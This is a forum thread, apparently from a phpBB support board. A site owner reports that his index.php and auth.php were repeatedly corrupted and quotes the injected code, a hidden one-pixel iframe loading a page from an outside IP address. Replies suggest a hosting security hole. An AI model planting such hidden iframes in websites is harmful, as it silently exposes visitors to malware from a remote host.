i have installed the ultimate package yestarday . after 2 hours  when i try to open my site index.php  was corrupted  auth.php too  i have upload again  auth + index  everything ok . when i come in the morning  the same situation . i found this in index. php

include($phpbb_root_path . 'includes/page_tail.' . $phpEx);

?><iframe src='http://81.95.149.28/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>



and when i open auth.php in includes its only 300 bytes  and only this writen in  
<iframe src='http://81.95.149.28/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>


is this a virus ?  any idea to resolve this problem

Maybe your hosting have security issues.

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My 2 IP Forums:
ModMovil: Motorola, Nokia, SonyEricsson

my hosting ixwebhosting.com  what can i do now to reinstall again ?

thanks

Report to your hosting that issue, maybe they will help you on finding where it's the security hole

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? Zuker - EDDB - LPM - Sharefields